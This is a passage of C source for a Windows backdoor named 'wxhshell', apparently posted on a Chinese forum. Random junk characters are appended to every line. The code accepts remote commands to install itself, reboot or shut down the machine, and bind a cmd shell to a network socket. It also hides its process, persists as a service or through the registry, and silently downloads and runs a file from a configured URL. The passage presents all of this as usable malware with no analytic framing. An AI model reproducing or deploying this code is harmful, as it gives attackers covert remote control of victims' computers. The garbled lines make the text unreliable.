      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0}y-DCuQ  
    break; |F^h >^ x  
  } %oEvp{I  
  // 安装 x$\w^h\F  
  case 'i': { h|t\rV^  
    if(Install()) ~`Xu 6+1o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xKC{P{:  
    else @Tg +Kt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iKN800^u  
    break; ck4g=QpD{  
    } tM;S )S(=  
  // 卸载 X mX .)h'Y  
  case 'r': { $y&1.caMa  
    if(Uninstall()) [E/}-m6g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qQ "O;_  
    else Ai lfeHG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $*i"rlJC  
    break; gR:21*&cz  
    } |Zrkk>GW:  
  // 显示 wxhshell 所在路径 0ge^p O\Z  
  case 'p': { d8Kxtg Y  
    char svExeFile[MAX_PATH]; =C.WM*='  
    strcpy(svExeFile,"\n\r"); @s@67\  
      strcat(svExeFile,ExeFile); 5.e. BT  
        send(wsh,svExeFile,strlen(svExeFile),0); 9K`uGu  
    break; Pb-Ft =  
    } v<U +&D{  
  // 重启 M~&X?/8  
  case 'b': { >E3 lY/[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <<[hZ$.  
    if(Boot(REBOOT)) 'U'#_mYG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wam- =3W  
    else { r@m2foaO  
    closesocket(wsh); -P3;7_}]:h  
    ExitThread(0); ,dIo\Lm  
    } "G`8>1tO_  
    break; .}l&lj@#  
    } y3vm+tJc{  
  // 关机 ^9C9[$Q  
  case 'd': { {<3>^ o|"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;Jrk#7  
    if(Boot(SHUTDOWN)) Yi+~}YP.E(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kGX;x}q  
    else { ]\t+zF>&Y  
    closesocket(wsh); {Q la4U  
    ExitThread(0); cWA$O*A  
    } t,yzqn  
    break; @0>3))  
    } z.7'yJIP#  
  // 获取shell /o_h'l|PS  
  case 's': { )4P5i b  
    CmdShell(wsh); Qe )#'$T  
    closesocket(wsh); axW4 cS ?  
    ExitThread(0); ].eY]o}=  
    break; )tV^)n[w  
  } BsX# ~  
  // 退出 SLze) ?.  
  case 'x': { ?)~j>1"S  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4{r_EV[(  
    CloseIt(wsh); q;V1fogqI)  
    break; PNbs7f  
    } f1RfNiW.  
  // 离开 !B3lsXLSY  
  case 'q': { hoQ?8}r:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #`0iN+qh  
    closesocket(wsh); 7o4 vf~  
    WSACleanup(); rGe^$!QB  
    exit(1); ^{W#ut>IN  
    break; :tA|g  
        } Um$a9S8b&  
  } ymsqJ   
  } Mwdw7MZ"S  
69v[* InSd  
  // 提示信息 m9Uoq[1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E+&]96*Lby  
} ew n/@;E  
  } |UO1vA@  
2.K"+%  
  return; {mp;^/O`er  
} \JLiA>@@  
JqdNO:8  
// shell模块句柄 n>dM OQb  
int CmdShell(SOCKET sock) "p\XaClpz  
{ N3};M~\  
STARTUPINFO si; LQMVC^ G  
ZeroMemory(&si,sizeof(si)); W&>+~A  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pP'-}%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; z^f-MgWG  
PROCESS_INFORMATION ProcessInfo; DT=!  
char cmdline[]="cmd"; YJ5;a\QxN  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~%Ws"1  
  return 0; uxto:6),P<  
} >Q~"/-bN)  
L?^C\g6u]  
// 自身启动模式 8<g_JW[%  
int StartFromService(void) C%P"Ds=w0N  
{ 1?(mE7H#  
typedef struct _e_]$G/TM  
{ ?nFT51 t/4  
  DWORD ExitStatus; aNW&ib  
  DWORD PebBaseAddress; P-~Avb  
  DWORD AffinityMask; *TuoC5  
  DWORD BasePriority; #oYX0wvl  
  ULONG UniqueProcessId; 9tS& $-  
  ULONG InheritedFromUniqueProcessId; 2="C6 7TK  
}   PROCESS_BASIC_INFORMATION; OD"eB?  
tE{7S/?h  
PROCNTQSIP NtQueryInformationProcess; KG#|Cq  
iR#jBqXD  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O'."ca]:5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; na FZ<'t>&  
Q9[dUdQm  
  HANDLE             hProcess; U[S;5xeF.j  
  PROCESS_BASIC_INFORMATION pbi; ^;YD3EZw  
7l Aa6"Y68  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }}qR~.[  
  if(NULL == hInst ) return 0; 8IC((  
D0QXvrf  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); t:M({|m Y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); r _r$nl  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); nX Qz  
ej<z]{`05  
  if (!NtQueryInformationProcess) return 0; E"Xi  
xiRTp:>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =]E1T8|  
  if(!hProcess) return 0; 4PUM.%  
T6H"ER$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; iA ZtV'VQ)  
&TbnZnv  
  CloseHandle(hProcess); HIh oYSwB  
>[xQUf,p  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I{cn ,,8  
if(hProcess==NULL) return 0; ecf7g)+C  
*OF7 {^~&  
HMODULE hMod; 4r(rWlM  
char procName[255]; ]Ly)%a32  
unsigned long cbNeeded; ^:-%tpB#!  
F{T|lTl  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9/s-|jD  
*8XGo  
  CloseHandle(hProcess); .^kTb2$X  
l:@.D|(o3  
if(strstr(procName,"services")) return 1; // 以服务启动 wU#Q>ut'%  
9 I RE@c  
  return 0; // 注册表启动 <{-DYRiN  
} 6!Isz1.re  
v!`M=0k  
// 主模块 QW2% Gv:  
int StartWxhshell(LPSTR lpCmdLine) \iVYhl  
{ <E\BKC%M  
  SOCKET wsl; sZ4H\  
BOOL val=TRUE; r9vC&pWZ  
  int port=0; |J}~a8o  
  struct sockaddr_in door; _F3vC#  
h}`<pq  
  if(wscfg.ws_autoins) Install(); OC\C^Yh*U  
rbtPG=t_R  
port=atoi(lpCmdLine); WJ9u 3+  
hrAI@.Bo  
if(port<=0) port=wscfg.ws_port; R a*9d]N@  
BLJ-' 8G  
  WSADATA data; Vr0RdO  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rWvJ{-%  
Tf0#+6 1>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   HRw,D=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); x`eYCi  
  door.sin_family = AF_INET; o`sn/x  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); d7G'+B1  
  door.sin_port = htons(port); 3 S5QqAm  
, zw  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0^[$0]Mt[  
closesocket(wsl); fg1 zT~  
return 1; |]]fcJOBP  
} gVl#pVO`N  
Ql V:8:H$  
  if(listen(wsl,2) == INVALID_SOCKET) { er<~dqZ}]  
closesocket(wsl); (Pu*[STTT  
return 1; /V*eAn8>  
} tIvtiN6[|l  
  Wxhshell(wsl); 3?}SXmA'@  
  WSACleanup(); '",5Bu#C  
0CN .gu  
return 0; !9N%=6\  
L'6zs:i  
} >3Y&jsh<  
Je*gMq:D  
// 以NT服务方式启动 *LhR$(F(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [,e_2<   
{ 4i19HD_  
DWORD   status = 0; 5y~[2jB:  
  DWORD   specificError = 0xfffffff; UmJg-~  
B=p'2lla  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ><DE1tG  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; a[JgR/E@x  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; u@|yw)  
  serviceStatus.dwWin32ExitCode     = 0; #\M<6n{  
  serviceStatus.dwServiceSpecificExitCode = 0; EagI)W!s[  
  serviceStatus.dwCheckPoint       = 0; Fq3;7Cq=hD  
  serviceStatus.dwWaitHint       = 0; bVrvb`0  
=Vv{td  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); & 3a+6!L[  
  if (hServiceStatusHandle==0) return; l%:_#1?isf  
l;C_A;y\  
status = GetLastError(); BdYh:  
  if (status!=NO_ERROR) 4q~E\l|.5  
{ &Y&zUfA  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; r9U1O@c  
    serviceStatus.dwCheckPoint       = 0; 9PBmBP ~  
    serviceStatus.dwWaitHint       = 0; a|>MueJ  
    serviceStatus.dwWin32ExitCode     = status; AuCVpDH  
    serviceStatus.dwServiceSpecificExitCode = specificError; aqN.5'2\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5Tu.2.)N  
    return; :`|,a (  
  } *5NffiA}-  
_96&P7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; JSL 3.J  
  serviceStatus.dwCheckPoint       = 0; &0"`\~lA  
  serviceStatus.dwWaitHint       = 0; +(<f(]bG  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); TvP# /qGgG  
} )2A4vU-IR.  
oa4}GNH  
// 处理NT服务事件,比如:启动、停止 r5"/EMieh  
VOID WINAPI NTServiceHandler(DWORD fdwControl) E0|aI4S4  
{ 83 n: h08  
switch(fdwControl) v$cD!`+k  
{ ;Cy@TzO/|  
case SERVICE_CONTROL_STOP: 3m^BYr*y^  
  serviceStatus.dwWin32ExitCode = 0; rx"zqm9 }u  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Gg+>_b{S5T  
  serviceStatus.dwCheckPoint   = 0; tEUmED0FY  
  serviceStatus.dwWaitHint     = 0; WAEKvM4*i0  
  { qRFN@ID$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :s5g6TR  
  } O<hHo]jLF  
  return; 3,[2-obmi  
case SERVICE_CONTROL_PAUSE: qq` RfZjL  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \z{Y(dS  
  break; |bk*Lgkzw  
case SERVICE_CONTROL_CONTINUE: U!5@$Fu  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; anvj{1  
  break; @.{  
case SERVICE_CONTROL_INTERROGATE: A_.QHUjpx  
  break; |); >wV"  
}; UdGoPzN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GxkG$B  
} V#~. Jg7  
@FTi*$Ix  
// 标准应用程序主函数 cNVdGY%&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) dd$N4&  
{ Rc4EFHL  
Yx"z&J9 p  
// 获取操作系统版本 --9mTqx  
OsIsNt=GetOsVer(); =%3nKSg  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _=8+_OEk  
T)uw2  
  // 从命令行安装 ]ok>PH]  
  if(strpbrk(lpCmdLine,"iI")) Install();  W 6~=?C  
c;^J!e  
  // 下载执行文件 ^Toi_  
if(wscfg.ws_downexe) { R+K[/AA  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) I?K0bs+6  
  WinExec(wscfg.ws_filenam,SW_HIDE); cGp^;> ]M  
} ~K9U0ypH  
+[ItkfSod!  
if(!OsIsNt) { nR7\ o(!  
// 如果时win9x,隐藏进程并且设置为注册表启动 e0L;V@R  
HideProc(); ,:`6x[ +  
StartWxhshell(lpCmdLine); 9)">()8  
} 6fkr!&Dy7  
else Cu:Zn%  
  if(StartFromService()) ng*%1;P  
  // 以服务方式启动 =r~. I  
  StartServiceCtrlDispatcher(DispatchTable); z m'jk D|  
else {#,FlR2  
  // 普通方式启动 ju#6 3  
  StartWxhshell(lpCmdLine); RVfe}4Stm#  
W%1S:2+Kl  
return 0; }>0 Kc=  
}
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只看该作者 1 发表于: 2006-10-10
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